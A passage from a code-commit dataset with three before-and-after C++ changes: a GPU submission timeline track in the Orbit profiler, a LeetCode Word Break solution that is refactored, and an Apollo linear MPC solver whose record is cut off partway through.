buffer timers have the same depth value as their matching \"hw execution\" timer.\n \/\/ As we want to draw command buffers underneath the hw execution timers, we need to increase\n \/\/ the depth by one.\n if (timer_info.type() == TimerInfo::kGpuCommandBuffer) {\n adjusted_depth += 1.f;\n }\n return pos_[1] - layout_->GetTrackTabHeight() -\n layout_->GetTextBoxHeight() * (adjusted_depth + 1.f) - gap_space;\n}\n\n\/\/ When track or its parent is collapsed, only draw \"hardware execution\" timers.\nbool GpuSubmissionTrack::TimerFilter(const TimerInfo& timer_info) const {\n if (IsCollapsed()) {\n std::string gpu_stage = string_manager_->Get(timer_info.user_data_key()).value_or(\"\");\n return gpu_stage == kHwExecutionString;\n }\n return true;\n}\n\nstd::string GpuSubmissionTrack::GetTimesliceText(const TimerInfo& timer_info) const {\n CHECK(timer_info.type() == TimerInfo::kGpuActivity ||\n timer_info.type() == TimerInfo::kGpuCommandBuffer);\n std::string time = GetDisplayTime(timer_info);\n\n return absl::StrFormat(\"%s %s\", string_manager_->Get(timer_info.user_data_key()).value_or(\"\"),\n time);\n}\n\nfloat GpuSubmissionTrack::GetHeight() const {\n bool collapsed = IsCollapsed();\n uint32_t depth = collapsed ? 1 : GetDepth();\n uint32_t num_gaps = depth > 0 ? depth - 1 : 0;\n if (has_vulkan_layer_command_buffer_timers_ && !collapsed) {\n depth *= 2;\n }\n return layout_->GetTrackTabHeight() + layout_->GetTextBoxHeight() * depth +\n (num_gaps * layout_->GetSpaceBetweenGpuDepths()) + layout_->GetTrackBottomMargin();\n}\n\nconst TimerInfo* GpuSubmissionTrack::GetLeft(const TimerInfo& timer_info) const {\n uint64_t timeline_hash = timer_info.user_data_key();\n if (timeline_hash == timeline_hash_) {\n const TimerChain* chain = track_data_->GetChain(timer_info.depth());\n if (chain != nullptr) return chain->GetElementBefore(timer_info);\n }\n return nullptr;\n}\n\nconst TimerInfo* GpuSubmissionTrack::GetRight(const TimerInfo& timer_info) const {\n uint64_t timeline_hash = timer_info.user_data_key();\n if (timeline_hash == timeline_hash_) {\n const TimerChain* chain = track_data_->GetChain(timer_info.depth());\n if (chain != nullptr) return chain->GetElementAfter(timer_info);\n }\n return nullptr;\n}\n\nstd::string GpuSubmissionTrack::GetBoxTooltip(const Batcher& batcher, PickingId id) const {\n const TimerInfo* timer_info = batcher.GetTimerInfo(id);\n if ((timer_info == nullptr) || timer_info->type() == TimerInfo::kCoreActivity) {\n return \"\";\n }\n\n std::string gpu_stage = string_manager_->Get(timer_info->user_data_key()).value_or(\"\");\n if (gpu_stage == kSwQueueString) {\n return GetSwQueueTooltip(*timer_info);\n }\n if (gpu_stage == kHwQueueString) {\n return GetHwQueueTooltip(*timer_info);\n }\n if (gpu_stage == kHwExecutionString) {\n return GetHwExecutionTooltip(*timer_info);\n }\n if (gpu_stage == kCmdBufferString) {\n return GetCommandBufferTooltip(*timer_info);\n }\n\n return \"\";\n}\n\nstd::string GpuSubmissionTrack::GetSwQueueTooltip(const TimerInfo& timer_info) const {\n CHECK(capture_data_ != nullptr);\n return absl::StrFormat(\n \"<b>Software Queue<\/b><br\/>\"\n \"<i>Time between amdgpu_cs_ioctl (job submitted) and \"\n \"amdgpu_sched_run_job (job scheduled)<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n\nstd::string GpuSubmissionTrack::GetHwQueueTooltip(const TimerInfo& timer_info) const {\n CHECK(capture_data_ != nullptr);\n return absl::StrFormat(\n \"<b>Hardware Queue<\/b><br\/><i>Time between amdgpu_sched_run_job \"\n \"(job scheduled) and start of GPU execution<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n\nstd::string GpuSubmissionTrack::GetHwExecutionTooltip(const TimerInfo& timer_info) const {\n CHECK(capture_data_ != nullptr);\n return absl::StrFormat(\n \"<b>Harware Execution<\/b><br\/>\"\n \"<i>End is marked by \\\"dma_fence_signaled\\\" event for this command \"\n \"buffer submission<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n\nstd::string GpuSubmissionTrack::GetCommandBufferTooltip(\n const orbit_client_protos::TimerInfo& timer_info) const {\n return absl::StrFormat(\n \"<b>Command Buffer Execution<\/b><br\/>\"\n \"<i>At `vkBeginCommandBuffer` and `vkEndCommandBuffer` `vkCmdWriteTimestamp`s have been \"\n \"inserted. The GPU timestamps get aligned with the corresponding hardware execution of the \"\n \"submission.<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n<commit_msg>Fix GetLeft\/Right in GPUSubmissionTrack<commit_after>\/\/ Copyright (c) 2021 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"GpuSubmissionTrack.h\"\n\n#include <absl\/time\/time.h>\n\n#include <memory>\n\n#include \"App.h\"\n#include \"Batcher.h\"\n#include \"ClientData\/TimerChain.h\"\n#include \"DisplayFormats\/DisplayFormats.h\"\n#include \"GlUtils.h\"\n#include \"OrbitBase\/Logging.h\"\n#include \"OrbitBase\/ThreadConstants.h\"\n#include \"TimeGraph.h\"\n#include \"TimeGraphLayout.h\"\n#include \"TriangleToggle.h\"\n#include \"absl\/strings\/str_format.h\"\n#include \"capture_data.pb.h\"\n\nusing orbit_client_data::TimerChain;\nusing orbit_client_protos::TimerInfo;\n\nconstexpr const char* kSwQueueString = \"sw queue\";\nconstexpr const char* kHwQueueString = \"hw queue\";\nconstexpr const char* kHwExecutionString = \"hw execution\";\nconstexpr const char* kCmdBufferString = \"command buffer\";\n\nGpuSubmissionTrack::GpuSubmissionTrack(Track* parent, TimeGraph* time_graph,\n orbit_gl::Viewport* viewport, TimeGraphLayout* layout,\n uint64_t timeline_hash, OrbitApp* app,\n const orbit_client_data::CaptureData* capture_data)\n : TimerTrack(parent, time_graph, viewport, layout, app, capture_data) {\n draw_background_ = false;\n text_renderer_ = time_graph->GetTextRenderer();\n timeline_hash_ = timeline_hash;\n string_manager_ = app->GetStringManager();\n parent_ = parent;\n}\n\nstd::string GpuSubmissionTrack::GetName() const {\n return absl::StrFormat(\n \"%s_submissions\",\n string_manager_->Get(timeline_hash_).value_or(std::to_string(timeline_hash_)));\n}\n\nstd::string GpuSubmissionTrack::GetTooltip() const {\n return \"Shows scheduling and execution times for selected GPU job \"\n \"submissions\";\n}\n\nvoid GpuSubmissionTrack::OnTimer(const orbit_client_protos::TimerInfo& timer_info) {\n \/\/ In case of having command buffer timers, we need to double the depth of the GPU timers (as we\n \/\/ are drawing the corresponding command buffer timers below them). Therefore, we watch out for\n \/\/ those timers.\n if (timer_info.type() == TimerInfo::kGpuCommandBuffer) {\n has_vulkan_layer_command_buffer_timers_ = true;\n }\n TimerTrack::OnTimer(timer_info);\n}\n\nbool GpuSubmissionTrack::IsTimerActive(const TimerInfo& timer_info) const {\n bool is_same_tid_as_selected = timer_info.thread_id() == app_->selected_thread_id();\n \/\/ We do not properly track the PID for GPU jobs and we still want to show\n \/\/ all jobs as active when no thread is selected, so this logic is a bit\n \/\/ different than SchedulerTrack::IsTimerActive.\n bool no_thread_selected = app_->selected_thread_id() == orbit_base::kAllProcessThreadsTid;\n\n return is_same_tid_as_selected || no_thread_selected;\n}\n\nColor GpuSubmissionTrack::GetTimerColor(const TimerInfo& timer_info, bool is_selected,\n bool is_highlighted) const {\n const Color kInactiveColor(100, 100, 100, 255);\n const Color kSelectionColor(0, 128, 255, 255);\n if (is_highlighted) {\n return TimerTrack::kHighlightColor;\n }\n if (is_selected) {\n return kSelectionColor;\n }\n if (!IsTimerActive(timer_info)) {\n return kInactiveColor;\n }\n if (timer_info.has_color()) {\n CHECK(timer_info.color().red() < 256);\n CHECK(timer_info.color().green() < 256);\n CHECK(timer_info.color().blue() < 256);\n CHECK(timer_info.color().alpha() < 256);\n return Color(static_cast<uint8_t>(timer_info.color().red()),\n static_cast<uint8_t>(timer_info.color().green()),\n static_cast<uint8_t>(timer_info.color().blue()),\n static_cast<uint8_t>(timer_info.color().alpha()));\n }\n\n \/\/ We color code the timeslices for GPU activity using the color\n \/\/ of the CPU thread track that submitted the job.\n Color color = TimeGraph::GetThreadColor(timer_info.thread_id());\n\n \/\/ We disambiguate the different types of GPU activity based on the\n \/\/ string that is displayed on their timeslice.\n float coeff = 1.0f;\n std::string gpu_stage = string_manager_->Get(timer_info.user_data_key()).value_or(\"\");\n if (gpu_stage == kSwQueueString) {\n coeff = 0.5f;\n } else if (gpu_stage == kHwQueueString) {\n coeff = 0.75f;\n } else if (gpu_stage == kHwExecutionString) {\n coeff = 1.0f;\n }\n\n color[0] = static_cast<uint8_t>(coeff * color[0]);\n color[1] = static_cast<uint8_t>(coeff * color[1]);\n color[2] = static_cast<uint8_t>(coeff * color[2]);\n\n constexpr uint8_t kOddAlpha = 210;\n if ((timer_info.depth() & 0x1) == 0u) {\n color[3] = kOddAlpha;\n }\n\n return color;\n}\n\nfloat GpuSubmissionTrack::GetYFromTimer(const TimerInfo& timer_info) const {\n auto adjusted_depth = static_cast<float>(timer_info.depth());\n if (IsCollapsed()) {\n adjusted_depth = 0.f;\n }\n CHECK(timer_info.type() == TimerInfo::kGpuActivity ||\n timer_info.type() == TimerInfo::kGpuCommandBuffer);\n\n \/\/ We are drawing a small gap between each depth, for visualization purposes.\n \/\/ There won't be a gap between \"hw execution\"timers and command buffer timers, which\n \/\/ is why the gap space needs to be calculated before adjusting the depth further (see below).\n float gap_space = adjusted_depth * layout_->GetSpaceBetweenGpuDepths();\n\n \/\/ Command buffer timers are drawn underneath the matching \"hw execution\" timer, which has the\n \/\/ same depth value as the command buffer timer. Therefore, we need to double the depth in the\n \/\/ case that we have command buffer timers.\n if (has_vulkan_layer_command_buffer_timers_) {\n adjusted_depth *= 2.f;\n }\n\n \/\/ Command buffer timers have the same depth value as their matching \"hw execution\" timer.\n \/\/ As we want to draw command buffers underneath the hw execution timers, we need to increase\n \/\/ the depth by one.\n if (timer_info.type() == TimerInfo::kGpuCommandBuffer) {\n adjusted_depth += 1.f;\n }\n return pos_[1] - layout_->GetTrackTabHeight() -\n layout_->GetTextBoxHeight() * (adjusted_depth + 1.f) - gap_space;\n}\n\n\/\/ When track or its parent is collapsed, only draw \"hardware execution\" timers.\nbool GpuSubmissionTrack::TimerFilter(const TimerInfo& timer_info) const {\n if (IsCollapsed()) {\n std::string gpu_stage = string_manager_->Get(timer_info.user_data_key()).value_or(\"\");\n return gpu_stage == kHwExecutionString;\n }\n return true;\n}\n\nstd::string GpuSubmissionTrack::GetTimesliceText(const TimerInfo& timer_info) const {\n CHECK(timer_info.type() == TimerInfo::kGpuActivity ||\n timer_info.type() == TimerInfo::kGpuCommandBuffer);\n std::string time = GetDisplayTime(timer_info);\n\n return absl::StrFormat(\"%s %s\", string_manager_->Get(timer_info.user_data_key()).value_or(\"\"),\n time);\n}\n\nfloat GpuSubmissionTrack::GetHeight() const {\n bool collapsed = IsCollapsed();\n uint32_t depth = collapsed ? 1 : GetDepth();\n uint32_t num_gaps = depth > 0 ? depth - 1 : 0;\n if (has_vulkan_layer_command_buffer_timers_ && !collapsed) {\n depth *= 2;\n }\n return layout_->GetTrackTabHeight() + layout_->GetTextBoxHeight() * depth +\n (num_gaps * layout_->GetSpaceBetweenGpuDepths()) + layout_->GetTrackBottomMargin();\n}\n\nconst TimerInfo* GpuSubmissionTrack::GetLeft(const TimerInfo& timer_info) const {\n if (timer_info.timeline_hash() == timeline_hash_) {\n const TimerChain* chain = track_data_->GetChain(timer_info.depth());\n if (chain != nullptr) return chain->GetElementBefore(timer_info);\n }\n return nullptr;\n}\n\nconst TimerInfo* GpuSubmissionTrack::GetRight(const TimerInfo& timer_info) const {\n if (timer_info.timeline_hash() == timeline_hash_) {\n const TimerChain* chain = track_data_->GetChain(timer_info.depth());\n if (chain != nullptr) return chain->GetElementAfter(timer_info);\n }\n return nullptr;\n}\n\nstd::string GpuSubmissionTrack::GetBoxTooltip(const Batcher& batcher, PickingId id) const {\n const TimerInfo* timer_info = batcher.GetTimerInfo(id);\n if ((timer_info == nullptr) || timer_info->type() == TimerInfo::kCoreActivity) {\n return \"\";\n }\n\n std::string gpu_stage = string_manager_->Get(timer_info->user_data_key()).value_or(\"\");\n if (gpu_stage == kSwQueueString) {\n return GetSwQueueTooltip(*timer_info);\n }\n if (gpu_stage == kHwQueueString) {\n return GetHwQueueTooltip(*timer_info);\n }\n if (gpu_stage == kHwExecutionString) {\n return GetHwExecutionTooltip(*timer_info);\n }\n if (gpu_stage == kCmdBufferString) {\n return GetCommandBufferTooltip(*timer_info);\n }\n\n return \"\";\n}\n\nstd::string GpuSubmissionTrack::GetSwQueueTooltip(const TimerInfo& timer_info) const {\n CHECK(capture_data_ != nullptr);\n return absl::StrFormat(\n \"<b>Software Queue<\/b><br\/>\"\n \"<i>Time between amdgpu_cs_ioctl (job submitted) and \"\n \"amdgpu_sched_run_job (job scheduled)<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n\nstd::string GpuSubmissionTrack::GetHwQueueTooltip(const TimerInfo& timer_info) const {\n CHECK(capture_data_ != nullptr);\n return absl::StrFormat(\n \"<b>Hardware Queue<\/b><br\/><i>Time between amdgpu_sched_run_job \"\n \"(job scheduled) and start of GPU execution<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n\nstd::string GpuSubmissionTrack::GetHwExecutionTooltip(const TimerInfo& timer_info) const {\n CHECK(capture_data_ != nullptr);\n return absl::StrFormat(\n \"<b>Harware Execution<\/b><br\/>\"\n \"<i>End is marked by \\\"dma_fence_signaled\\\" event for this command \"\n \"buffer submission<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n\nstd::string GpuSubmissionTrack::GetCommandBufferTooltip(\n const orbit_client_protos::TimerInfo& timer_info) const {\n return absl::StrFormat(\n \"<b>Command Buffer Execution<\/b><br\/>\"\n \"<i>At `vkBeginCommandBuffer` and `vkEndCommandBuffer` `vkCmdWriteTimestamp`s have been \"\n \"inserted. The GPU timestamps get aligned with the corresponding hardware execution of the \"\n \"submission.<\/i>\"\n \"<br\/>\"\n \"<br\/>\"\n \"<b>Submitted from process:<\/b> %s [%d]<br\/>\"\n \"<b>Submitted from thread:<\/b> %s [%d]<br\/>\"\n \"<b>Time:<\/b> %s\",\n capture_data_->GetThreadName(timer_info.process_id()), timer_info.process_id(),\n capture_data_->GetThreadName(timer_info.thread_id()), timer_info.thread_id(),\n orbit_display_formats::GetDisplayTime(TicksToDuration(timer_info.start(), timer_info.end()))\n .c_str());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ https:\/\/oj.leetcode.com\/problems\/word-break\/\nnamespace WordBreak {\n class Solution {\n public:\n bool wordBreak(string s, unordered_set<string> &dict) {\n \n if (s.length() == 0) {\n return true;\n }\n \n if (dict.size() == 0) {\n return false;\n }\n \n \/\/ 1. find the words in dict with min and max length\n unordered_set<string>::const_iterator it = dict.begin();\n int minLen = INT_MAX;\n int maxLen = INT_MIN;\n for (; it != dict.end(); it++) {\n int len = (*it).length();\n if (len < minLen) {\n minLen = len;\n }\n \n if (len > maxLen) {\n maxLen = len;\n }\n }\n \n \n \/\/ 2. run dp\n bool * dp = new bool[s.length() + 1];\n memset(dp, 0, sizeof(bool) * (s.length() + 1));\n dp[0] = true;\n for (int i = 1; i <= s.length() - minLen + 1; i++) {\n \n if (dp[i - 1]) {\n for (int len = minLen; len <= maxLen; len++) {\n int endPos = i + len - 1;\n if (endPos > s.length()) {\n break;\n }\n \n if (dp[endPos] == true) {\n continue;\n }\n \n string str = s.substr(i - 1, len);\n if (dict.find(str) != dict.end()) {\n dp[endPos] = true;\n continue;\n }\n }\n }\n }\n \n return dp[s.length()];\n }\n };\n}\n<commit_msg>Update WordBreak.cc<commit_after>\/\/ https:\/\/oj.leetcode.com\/problems\/word-break\/\nnamespace WordBreak {\n class Solution {\n public:\n pair<int, int> findMinLenAndMaxLen(unordered_set<string> &dict) {\n int minLen = INT_MAX;\n int maxLen = INT_MIN;\n for (unordered_set<string>::iterator it = dict.begin(); it != dict.end(); it++) {\n const string & cur = *it;\n minLen = min((int)cur.size(), minLen);\n maxLen = max((int)cur.size(), maxLen);\n }\n return make_pair(minLen, maxLen);\n }\n \n bool wordBreak(string s, unordered_set<string> &dict) {\n if (s.empty()) return false;\n if (dict.empty()) return false;\n \n pair<int, int> m = findMinLenAndMaxLen(dict);\n int minLen = m.first;\n int maxLen = m.second;\n vector<bool> dp = vector<bool>(s.size() + 1, false);\n dp[0] = true;\n for (int i = 1; i <= s.size(); i++) {\n if (!dp[i - 1]) continue;\n for (int len = minLen; len <= maxLen; len++) {\n if (i + len - 1 > s.size()) break;\n string cur = s.substr(i - 1, len);\n if (dict.find(cur) != dict.end()) {\n dp[i + len - 1] = true;\n }\n }\n }\n \n return dp[s.size()];\n }\n };\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n#include \"modules\/common\/math\/mpc_solver.h\"\n\n#include <algorithm>\n#include <memory>\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/math\/qp_solver\/active_set_qp_solver.h\"\n#include \"modules\/common\/math\/qp_solver\/qp_solver.h\"\n\nnamespace apollo {\nnamespace common {\nnamespace math {\n\nusing Matrix = Eigen::MatrixXd;\n\n\/\/ discrete linear predictive control solver, with control format\n\/\/ x(i + 1) = A * x(i) + B * u (i) + C\nbool SolveLinearMPC(const Matrix &matrix_a, const Matrix &matrix_b,\n const Matrix &matrix_c, const Matrix &matrix_q,\n const Matrix &matrix_r, const Matrix &matrix_lower,\n const Matrix &matrix_upper,\n const Matrix &matrix_initial_state,\n const std::vector<Matrix> &reference, const double eps,\n const int max_iter, std::vector<Matrix> *control) {\n if (matrix_a.rows() != matrix_a.cols() ||\n matrix_b.rows() != matrix_a.rows() ||\n matrix_lower.rows() != matrix_upper.rows()) {\n AERROR << \"One or more matrices have incompatible dimensions. Aborting.\";\n return false;\n }\n\n unsigned int horizon = reference.size();\n\n \/\/ Update augment reference matrix_t\n Matrix matrix_t = Matrix::Zero(matrix_b.rows() * horizon, 1);\n for (unsigned int j = 0; j < horizon; ++j) {\n matrix_t.block(j * reference[0].size(), 0, reference[0].size(), 1) =\n reference[j];\n }\n\n \/\/ Update augment control matrix_v\n Matrix matrix_v = Matrix::Zero((*control)[0].rows() * horizon, 1);\n for (unsigned int j = 0; j < horizon; ++j) {\n matrix_v.block(j * (*control)[0].rows(), 0, (*control)[0].rows(), 1) =\n (*control)[j];\n }\n\n std::vector<Matrix> matrix_a_power(horizon);\n matrix_a_power[0] = matrix_a;\n for (unsigned int i = 1; i < matrix_a_power.size(); ++i) {\n matrix_a_power[i] = matrix_a * matrix_a_power[i - 1];\n }\n\n Matrix matrix_k =\n Matrix::Zero(matrix_b.rows() * horizon, matrix_b.cols() * horizon);\n for (unsigned int r = 0; r < horizon; ++r) {\n for (unsigned int c = 0; c <= r; ++c) {\n matrix_k.block(r * matrix_b.rows(), c * matrix_b.cols(), matrix_b.rows(),\n matrix_b.cols()) = matrix_a_power[r - c] * matrix_b;\n }\n }\n \/\/ Initialize matrix_k, matrix_m, matrix_t and matrix_v, matrix_qq, matrix_rr,\n \/\/ vector of matrix A power\n Matrix matrix_m = Matrix::Zero(matrix_b.rows() * horizon, 1);\n Matrix matrix_qq = Matrix::Zero(matrix_k.rows(), matrix_k.rows());\n Matrix matrix_rr = Matrix::Zero(matrix_k.cols(), matrix_k.cols());\n Matrix matrix_ll = Matrix::Zero(horizon * matrix_lower.rows(), 1);\n Matrix matrix_uu = Matrix::Zero(horizon * matrix_upper.rows(), 1);\n\n \/\/ Compute matrix_m\n matrix_m.block(0, 0, matrix_a.rows(), 1) =\n matrix_a * matrix_initial_state + matrix_c;\n for (unsigned int i = 1; i < horizon; ++i) {\n matrix_m.block(i * matrix_a.rows(), 0, matrix_a.rows(), 1) =\n matrix_a *\n matrix_m.block((i - 1) * matrix_a.rows(), 0, matrix_a.rows(), 1) +\n matrix_c;\n }\n\n \/\/ Compute matrix_ll, matrix_uu, matrix_qq, matrix_rr\n for (unsigned int i = 0; i < horizon; ++i) {\n matrix_ll.block(i * (*control)[0].rows(), 0, (*control)[0].rows(), 1) =\n matrix_lower;\n matrix_uu.block(i * (*control)[0].rows(), 0, (*control)[0].rows(), 1) =\n matrix_upper;\n matrix_qq.block(i * matrix_q.rows(), i * matrix_q.rows(), matrix_q.rows(),\n matrix_q.rows()) = matrix_q;\n matrix_rr.block(i * matrix_r.rows(), i * matrix_r.rows(), matrix_r.cols(),\n matrix_r.cols()) = matrix_r;\n }\n\n \/\/ Update matrix_m1, matrix_m2, convert MPC problem to QP problem done\n Matrix matrix_m1 = matrix_k.transpose() * matrix_qq * matrix_k + matrix_rr;\n Matrix matrix_m2 = matrix_k.transpose() * matrix_qq * (matrix_m - matrix_t);\n\n \/\/ Format in qp_solver\n \/**\n * * min_x : q(x) = 0.5 * x^T * Q * x + x^T c\n * * with respect to: A * x = b (equality constraint)\n * * C * x >= d (inequality constraint)\n * **\/\n\n \/\/ TODO(QiL) : change qp solver to box constraint or substitue QPOAESE\n \/\/ Method 1: QPOASES\n Matrix matrix_inequality_constrain_ll =\n Matrix::Identity(matrix_ll.rows(), matrix_ll.rows());\n Matrix matrix_inequality_constrain_uu =\n Matrix::Identity(matrix_uu.rows(), matrix_uu.rows());\n Matrix matrix_inequality_constrain =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.rows());\n matrix_inequality_constrain << matrix_inequality_constrain_ll,\n -matrix_inequality_constrain_uu;\n Matrix matrix_inequality_boundary =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.cols());\n matrix_inequality_boundary << matrix_ll, -matrix_uu;\n Matrix matrix_equality_constrain =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.rows());\n Matrix matrix_equality_boundary =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.cols());\n\n std::unique_ptr<QpSolver> qp_solver(new ActiveSetQpSolver(\n matrix_m1, matrix_m2, matrix_inequality_constrain,\n matrix_inequality_boundary, matrix_equality_constrain,\n matrix_equality_boundary));\n auto result = qp_solver->Solve();\n if (!result) {\n AERROR << \"Linear MPC solver failed\";\n return false;\n }\n matrix_v = qp_solver->params();\n\n for (unsigned int i = 0; i < horizon; ++i) {\n (*control)[i] =\n matrix_v.block(i * (*control)[0].rows(), 0, (*control)[0].rows(), 1);\n }\n return true;\n}\n\n} \/\/ namespace math\n} \/\/ namespace common\n} \/\/ namespace apollo\n<commit_msg>Common : Fix typo<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n#include \"modules\/common\/math\/mpc_solver.h\"\n\n#include <algorithm>\n#include <memory>\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/math\/qp_solver\/active_set_qp_solver.h\"\n#include \"modules\/common\/math\/qp_solver\/qp_solver.h\"\n\nnamespace apollo {\nnamespace common {\nnamespace math {\n\nusing Matrix = Eigen::MatrixXd;\n\n\/\/ discrete linear predictive control solver, with control format\n\/\/ x(i + 1) = A * x(i) + B * u (i) + C\nbool SolveLinearMPC(const Matrix &matrix_a, const Matrix &matrix_b,\n const Matrix &matrix_c, const Matrix &matrix_q,\n const Matrix &matrix_r, const Matrix &matrix_lower,\n const Matrix &matrix_upper,\n const Matrix &matrix_initial_state,\n const std::vector<Matrix> &reference, const double eps,\n const int max_iter, std::vector<Matrix> *control) {\n if (matrix_a.rows() != matrix_a.cols() ||\n matrix_b.rows() != matrix_a.rows() ||\n matrix_lower.rows() != matrix_upper.rows()) {\n AERROR << \"One or more matrices have incompatible dimensions. Aborting.\";\n return false;\n }\n\n unsigned int horizon = reference.size();\n\n \/\/ Update augment reference matrix_t\n Matrix matrix_t = Matrix::Zero(matrix_b.rows() * horizon, 1);\n for (unsigned int j = 0; j < horizon; ++j) {\n matrix_t.block(j * reference[0].size(), 0, reference[0].size(), 1) =\n reference[j];\n }\n\n \/\/ Update augment control matrix_v\n Matrix matrix_v = Matrix::Zero((*control)[0].rows() * horizon, 1);\n for (unsigned int j = 0; j < horizon; ++j) {\n matrix_v.block(j * (*control)[0].rows(), 0, (*control)[0].rows(), 1) =\n (*control)[j];\n }\n\n std::vector<Matrix> matrix_a_power(horizon);\n matrix_a_power[0] = matrix_a;\n for (unsigned int i = 1; i < matrix_a_power.size(); ++i) {\n matrix_a_power[i] = matrix_a * matrix_a_power[i - 1];\n }\n\n Matrix matrix_k =\n Matrix::Zero(matrix_b.rows() * horizon, matrix_b.cols() * horizon);\n for (unsigned int r = 0; r < horizon; ++r) {\n for (unsigned int c = 0; c <= r; ++c) {\n matrix_k.block(r * matrix_b.rows(), c * matrix_b.cols(), matrix_b.rows(),\n matrix_b.cols()) = matrix_a_power[r - c] * matrix_b;\n }\n }\n \/\/ Initialize matrix_k, matrix_m, matrix_t and matrix_v, matrix_qq, matrix_rr,\n \/\/ vector of matrix A power\n Matrix matrix_m = Matrix::Zero(matrix_b.rows() * horizon, 1);\n Matrix matrix_qq = Matrix::Zero(matrix_k.rows(), matrix_k.rows());\n Matrix matrix_rr = Matrix::Zero(matrix_k.cols(), matrix_k.cols());\n Matrix matrix_ll = Matrix::Zero(horizon * matrix_lower.rows(), 1);\n Matrix matrix_uu = Matrix::Zero(horizon * matrix_upper.rows(), 1);\n\n \/\/ Compute matrix_m\n matrix_m.block(0, 0, matrix_a.rows(), 1) =\n matrix_a * matrix_initial_state + matrix_c;\n for (unsigned int i = 1; i < horizon; ++i) {\n matrix_m.block(i * matrix_a.rows(), 0, matrix_a.rows(), 1) =\n matrix_a *\n matrix_m.block((i - 1) * matrix_a.rows(), 0, matrix_a.rows(), 1) +\n matrix_c;\n }\n\n \/\/ Compute matrix_ll, matrix_uu, matrix_qq, matrix_rr\n for (unsigned int i = 0; i < horizon; ++i) {\n matrix_ll.block(i * (*control)[0].rows(), 0, (*control)[0].rows(), 